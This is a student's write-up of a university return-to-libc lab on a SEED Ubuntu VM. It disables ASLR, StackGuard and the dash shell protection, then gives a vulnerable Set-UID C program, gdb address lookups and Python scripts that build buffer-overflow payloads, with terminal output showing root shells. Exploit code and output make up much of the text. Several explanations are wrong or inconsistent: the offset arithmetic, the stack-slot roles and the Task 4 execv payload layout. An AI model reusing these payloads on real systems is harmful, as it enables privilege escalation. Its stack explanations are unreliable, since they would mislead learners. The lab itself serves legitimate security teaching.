

Concepts on System Security Lab 7 – Return To Libc Attacks

Environment Setup

Note on x86 and x64 Architectures : The return-to-libc attack on the x64 machines (64-bit) is much more difficult than that on the x86 machines (32-bit). Although the SEED Ubuntu 20.04 VM is a 64-bit machine, we decide to keep using the 32-bit programs (x64 is compatible with x86, so 32-bit programs can still run on x64 machines). In the future, we may introduce a 64-bit version for this lab. Therefore, in this lab, when we compile programs using gcc, we always use the -m32 flag, which means compiling the program into 32-bit binary.

Turning off countermeasures

You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first.

Address Space Randomization

Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack, making guessing the exact addresses difficult. Guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

The StackGuard Protection Scheme

The gcc compiler implements a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks do not work. We can disable this protection during the compilation using the -fno-stack-protector option. For example, to compile a program example.c with StackGuard disabled, we can do the following:

```
$ gcc -m32 -fno-stack-protector example.c
```

Non-Executable Stack

Ubuntu used to allow executable stacks, but this has now changed. The binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, stacks are set to be non-executable. To change that, use the following option when compiling programs:

For executable stack: \$ gcc -m32 -z execstack -o **test** test.c

For non-executable stack: \$ gcc -m32 -z noexecstack -o **test** test.c

Because the objective of this lab is to show that the non-executable stack protection does not work, you should always compile your program using the "-z noexecstack" option in this lab.

Configuring /bin/sh. In Ubuntu 20.04, the /bin/sh symbolic link points to the /bin/dash shell. The dash shell has a countermeasure that prevents itself from being executed in a Set-UID process.

Configuring /bin/sh.

In Ubuntu 20.04, the /bin/sh symbolic link points to the /bin/dash shell. The dash shell has a countermeasure that prevents itself from being executed in a Set-UID process. If dash is executed in a Set-UID process, it immediately changes the effective user ID to the process's real user ID, essentially dropping its privilege.

Since our victim program is a Set-UID program, and our attack uses the system() function to run a command of our choice. This function does not run our command directly; it invokes /bin/sh to run our command. Therefore, the countermeasure in /bin/dash immediately drops the Set-UID privilege before executing our command, making our attack more difficult. To disable this protection, we link /bin/sh to another shell that does not have such a countermeasure. We have installed a shell program called zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

It should be noted that the countermeasure implemented in dash can be circumvented. We will do that in a later task.

```
[02/11/25] seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=0  
kernel.randomize_va_space = 0  
[02/11/25] seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
```

The Vulnerable Program

```
retlib.c  
  
#include <stdlib.h>  
#include <stdio.h>  
#include <string.h>  
  
#ifndef BUF_SIZE  
#define BUF_SIZE 12  
#endif  
  
int bof(char *str)  
{  
    char buffer[BUF_SIZE];  
    unsigned int *framep;  
  
    // Copy ebp into framep  
    asm("movl %%ebp, %0" : "=r" (framep));  
  
    /* print out information for experiment purpose */
```

```

printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);

strcpy(buffer, str);

return 1;
}

void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}

int main(int argc, char **argv)
{
    char input[1000];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    int length = fread(input, sizeof(char), 1000, badfile);
    printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
    printf("Input size: %d\n", length);

    bof(input);

    printf("(^_~)(^_~) Returned Properly (^_~)(^_~)\n");
    return 1;
}

```

The above program has a buffer overflow vulnerability. It first reads an input up to 1000 bytes from a file called badfile. It then passes the input data to the bof() function, which copies the input to its internal buffer using strcpy(). However, the internal buffer's size is less than 1000, so here is potential buffer-overflow vulnerability.

This program is a root-owned Set-UID program, so if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile, which is provided by users. Therefore, we can construct the file in a way such that when the vulnerable program copies the file contents into its buffer, a root shell can be spawned.

Compilation. Let us first compile the code and turn it into a root-owned Set-UID program. Do not forget to include the -fno-stack-protector option (for turning off the StackGuard protection) and the "-z noexecstack" option (for turning on the non-executable stack protection). It should also be noted that changing ownership must be done before turning on the Set-UID bit, because ownership changes cause the Set-UID bit to be turned off.

```

[02/11/25]seed@VM:~/.../Labsetup$ gcc -m32 -DBUF_SIZE=100 -fno-stack-protector -z noexecstack -o retlib retlib.c
[02/11/25]seed@VM:~/.../Labsetup$ sudo chown root retlib
[02/11/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 retlib
[02/11/25]seed@VM:~/.../Labsetup$ ll | grep retlib
-rwsr-xr-x 1 root seed 15788 Feb 11 01:25 retlib
-rw-rw-r-- 1 seed seed   994 Feb 11 01:24 retlib.c

```

Lab Tasks

Task 1: Finding out the Addresses of libc Functions

In Linux, when a program runs, the libc library will be loaded into memory. When the memory address randomization is turned off, for the same program, the library is always loaded in the same memory address (for different programs, the memory addresses of the libc library may be different). Therefore, we can easily find out the address of system() using a debugging tool such as gdb. Namely, we can debug the target program retlib. Even though the program is a root-owned Set-UID program, we can still debug it, except that the privilege will be dropped (i.e., the effective user ID will be the same as the real user ID). Inside gdb, we need to type the run command to execute the target program once, otherwise, the library code will not be loaded. We use the p command (or print) to print out the address of the system() and exit() functions (we will need exit() later on).

```
$ touch badfile

$ gdb -q retlib → Use "Quiet" mode
Reading symbols from ./retlib...
(No debugging symbols found in ./retlib)

gdb-peda$ break main
Breakpoint 1 at 0x12ef

gdb-peda$ run
.....
Breakpoint 1, 0x565562ef in main ()

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>

gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>

gdb-peda$ quit
```

```
[02/11/25] seed@VM:~/.../Labsetup$ touch badfile
[02/11/25] seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ b main
Breakpoint 1 at 0x12ef
gdb-peda$ run
Starting program: /home/seed/Downloads/Libc/Labsetup/retlib
```

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ █
```

Using gdb breakpoints and commands like p system and p exit successfully retrieve memory addresses of functions (`system = 0xf7e12420` and `exit = 0xf7e04f80`), which can aid in analyzing the program's control flow and potential vulnerabilities.

Task 2: Putting the shell string in the memory

Our attack strategy is to jump to the `system()` function and get it to execute an arbitrary command. Since we would like to get a shell prompt, we want the `system()` function to execute the `"/bin/sh"` program. Therefore, the command string `"/bin/sh"` must be put in the memory first and we have to know its address (this address needs to be passed to the `system()` function). There are many ways to achieve these goals; we choose a method that uses environment variables.

When we execute a program from a shell prompt, the shell actually spawns a child process to execute the program, and all the exported shell variables become the environment variables of the child process. This creates an easy way for us to put some arbitrary string in the child process's memory. Let us define a new shell variable `MYSHELL`, and let it contain the string `"/bin/sh"`. From the following commands, we can verify that the string gets into the child process, and it is printed out by the `env` command running inside the child process.

```
[02/11/25] seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[02/11/25] seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
```

We will use the address of this variable as an argument to `system()` call. The location of this variable in the memory can be found out easily using the following program:

```
#include <stdio.h>
#include <stdlib.h>

void main() {
    char* shell = getenv("MYSHELL");
    if (shell) {
        printf("%x\n", (unsigned int)shell);
    }
}
```

Compile the code above into a binary called `prtenv`. If the address randomization is turned off, you will find out that the same address is printed out. When you run the vulnerable program `retlib` inside the same terminal, the address of the environment variable will be the same (see the special note below). You can verify that by putting the code above inside `retlib.c`. However, the length of the program name does make a difference. That's why we choose 6 characters for the program name `prtenv` to match the length of `retlib`.

```
[02/11/25] seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[02/11/25] seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
[02/11/25] seed@VM:~/.../Labsetup$ gcc -m32 -o prtenv prtenv.c
[02/11/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd3ec
[02/11/25] seed@VM:~/.../Labsetup$
```

Shell address is `0xffffd3ec`

Task 3: Launching the Attack

We are ready to create the content of badfile. Since the content involves some binary data (e.g., the address of the libc functions), we can use Python to do the construction. We provide a skeleton of the code in the following, with the essential parts left for you to fill out. You need to figure out the three addresses and the values for X, Y, and Z. If your values are incorrect, your attack might not work. In your report, you need to describe how you decide the values for X, Y and Z. Either show us your reasoning or, if you use a trial-and-error approach, show your trials.

```
[02/11/25]seed@VM:~/.../Labsetup$ touch badfile
[02/11/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd80
Input size: 0
Address of buffer[] inside bof(): 0xffffccf8
Frame Pointer value inside bof(): 0xffffcd68
(^_^)(^_~) Returned Properly (^_~)(^_~)
[02/11/25]seed@VM:~/.../Labsetup$ █
```

The buffer in the vulnerable function bof() has an address of 0xffffccf8, and the saved EBP (Frame Pointer) is at 0xffffcd88. This suggests that the **ebp is 112** ($0xffffccf8 - 0xffffcd68 = 112$).

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 112 + 12          # ebp +12
sh_addr = 0xffffd3ec  # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 112 + 4           # ebp + 4
system_addr = 0xf7e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 112 + 8           # ebp + 8
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Address Information

- Address of /bin/sh: 0xffffd3ec (stored in sh_addr).
- Address of system(): 0xf7e12420 (stored in system_addr).
- Address of exit(): 0xf7e04f80 (stored in exit_addr).

- In 32 bit system, function arguments are pushed onto the stack in reverse order, and the return address is stored at ebp + 4.
- ebp + 4: Overwritten with the address of system(), redirecting the program's execution to this function.
- ebp + 8: Holds the first argument to system(), set to the address of "/bin/sh" to spawn a shell.
- ebp + 12: Points to the exit() function, ensuring clean program termination after system() executes.

```
[02/11/25]seed@VM:~/.../Labsetup$ ./exploit.py
[02/11/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd80
Input size: 300
Address of buffer[] inside bof(): 0xffffccf8
Frame Pointer value inside bof(): 0xffffcd68
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
```

Attack variation 1: Is the exit() function really necessary? Please try your attack without including the address of this function in badfile. Run your attack again, report and explain your observations.

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 112 + 12          # ebp +12
sh_addr = 0xffffd3e8   # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 112 + 4            # ebp + 4
system_addr = 0xf7e09360 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

```
[02/11/25]seed@VM:~/.../Labsetup$ ./exploit.py
[02/11/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd80
Input size: 300
Address of buffer[] inside bof(): 0xffffccf8
Frame Pointer value inside bof(): 0xffffcd68
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
Segmentation fault
[02/11/25]seed@VM:~/.../Labsetup$ █
```

Observation: The attack successfully launched the shell even without the exit() function. However, after exiting the shell using the exit command, the program crashed with a segmentation fault. This happens because the return address after system() was not set to a valid function like exit().

Attack variation 2: After your attack is successful, change the file name of retlib to a different name, making sure that the length of the new file name is different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Will your attack succeed or not? If it does not succeed, explain why

```
[02/11/25] seed@VM:~/.../LabSetup$ ./retlibvar
Address of input[] inside main(): 0xfffffc80
Input size: 300
Address of buffer[] inside bof(): 0xfffffcf8
Frame Pointer value inside bof(): 0xfffffc68
zsh:1: command not found: h
Segmentation fault
```

Observation: The attack failed after renaming retlib to retlib1 because the payload relied on a specific memory layout, including the exact length of the file name. Changing the file name length disrupted the address calculations, causing the program to attempt to execute h instead of /bin/sh. This mismatch resulted in the error no such file or directory and a segmentation fault.

Task 4: Defeat Shell's countermeasure

The purpose of this task is to launch the return-to-libc attack after the shell's countermeasure is enabled. Before doing Tasks 1 to 3, we relinked /bin/sh to /bin/zsh, instead of to /bin/dash (the original setting). This is because some shell programs, such as dash and bash, have a countermeasure that automatically drops privileges when they are executed in a Set-UID process. In this task, we would like to defeat such a countermeasure, i.e., we would like to get a root shell even though the /bin/sh still points to /bin/dash. Let us first change the symbolic link back:

```
$ sudo ln -sf /bin/dash /bin/sh
```

Although dash and bash both drop the Set-UID privilege, they will not do that if they are invoked with the -p option. When we return to the system function, this function invokes /bin/sh, but it does not use the -p option. Therefore, the Set-UID privilege of the target program will be dropped. If there is a function that allows us to directly execute "/bin/bash -p", without going through the system function, we can still get the root privilege.

There are actually many ligdb bc functions that can do that, such as the exec() family of functions, including execl(), execle(), execv(), etc. Let's take a look at the execv() function.

```
int execv(const char *pathname, char *const argv[]);
```

This function takes two arguments, one is the address to the command, the second is the address to the argument array for the command. For example, if we want to invoke "/bin/bash -p" using execv, we need to set up the following:

```

pathname = address of "/bin/bash"
argv[0] = address of "/bin/bash"
argv[1] = address of "-p"
argv[2] = NULL (i.e., 4 bytes of zero).

```

From the previous tasks, we can easily get the address of the two involved strings. Therefore, if we can construct the argv[] array on the stack, get its address, we will have everything that we need to conduct the return-to-libc attack. This time, we will return to the execv() function.

There is one catch here. The value of argv[2] must be zero (an integer zero, four bytes). If we put four zeros in our input, strcpy() will terminate at the first zero; whatever is after that will not be copied into the bof() function's buffer. This seems to be a problem, but keep in mind, everything in your input is already on the stack; they are in the main() function's buffer. It is not hard to get the address of this buffer. To simplify the task, we already let the vulnerable program print out that address for you.

Just like in Task 3, you need to construct your input, so when the bof() function returns, it returns to execv(), which fetches from the stack the address of the "/bin/bash" string and the address of the argv[] array. You need to prepare everything on the stack, so when execv() gets executed, it can execute "/bin/bash -p" and give you the root shell. In your report, please describe how you construct your input.

```

#!/usr/bin/env python3
import sys

# Fill content with non-zero values (300 bytes)
content = bytearray(0xaa for i in range(300))

# Buffer and arr (address of buffer and offset)
buffer = 0xffffccf8 # Address of buffer[] inside bof()
arr = 276 # Offset to return address (calculated earlier)

# Step 1: Setting up the payload for /bin/sh, execv() address, and exit address

X = 112+12 # ebp + 12, the location for "/bin/sh" address
sh_addr = 0xffffd3ec
# Address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4, byteorder='little')

Y = 112+4 # ebp + 4, the location for execv() address
execv_addr =
0xf7e994b0 # Address of execv()
content[Y:Y+4] =
(execv_addr).to_bytes(4, byteorder='little')

Z = 112+8 # ebp + 8, the location for exit() address (may be unnecessary)
exit_addr = 0xf7e04f80 # Address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')

# Step 2: Setting up arguments for execv ("./bin/bash -p")
content[arr:arr + 8] = bytearray(b'./bin/sh\x00') # Argument 1: "/bin/sh"
content[arr + 8: arr + 12] = bytearray(b'-p\x00\x00\x00') # Argument 2: "-p"
content[arr + 16: arr + 20] = (buffer + arr).to_bytes(4, byteorder='little') # Address of first argument

```

```

content[arr + 20: arr + 24] = (buffer + arr + 8).to_bytes(4, byteorder='little') # Address of second argument
content[arr + 24: arr + 28] = bytearray(b'\x00' * 4) # NULL pointer for argv[2]

```

Step 3: Set the return address to execv()

```
content[X + 4: X + 8] = (buffer + arr + 16).to_bytes(4, byteorder='little')
```

Step 4: Save the content to the badfile

```
with open("badfile", "wb") as f:
```

```
f.write(content)
```

- The crafted payload fills the buffer with 0xAA and overwrites the return address of bof() to redirect control to execv() (from libc) instead of returning.
- execv() requires arguments (argv[]), where argv[0] is the program to execute (/bin/sh), and argv[1] is "-p". These are set up by placing their addresses on the stack.
- The buffer layout and offset (130 bytes) are calculated by considering the space taken by the buffer, saved registers, and return address.
- content[arr:arr + 8] = bytearray(b'/bin/sh\x00') places the string /bin/sh at the appropriate address in memory.
- content[arr + 8: arr + 12] = bytearray(b'-p\x00\x00\x00') adds the -p argument, ending with a null byte (\x00).
- content[arr + 16: arr + 20] = (buffer + arr).to_bytes(4, byteorder='little') sets the address of the first argument (/bin/sh) for argv[0].
- content[arr + 20: arr + 24] = (buffer + arr + 8).to_bytes(4, byteorder='little') sets the address of the second argument (-p) for argv[1].
- content[arr + 24: arr + 28] = bytearray(b'\x00' * 4) adds a NULL pointer (argv[2]), marking the end of arguments.
- content[X + 4: X + 8] = (buffer + arr + 16).to_bytes(4, byteorder='little') overwrites the return address with execv()'s address, so control is passed to execv() when bof() returns.

```

[02/11/25]seed@VM:~/.../Labsetup$ ./exploit.py
[02/11/25]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd80
Input size: 300
Address of buffer[] inside bof(): 0xffffccf8
Frame Pointer value inside bof(): 0xffffcd68
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit

```

The exploit successfully runs /bin/sh -p, granting a root shell. The program uses the buffer overflow to hijack control and call execv() with the correct arguments.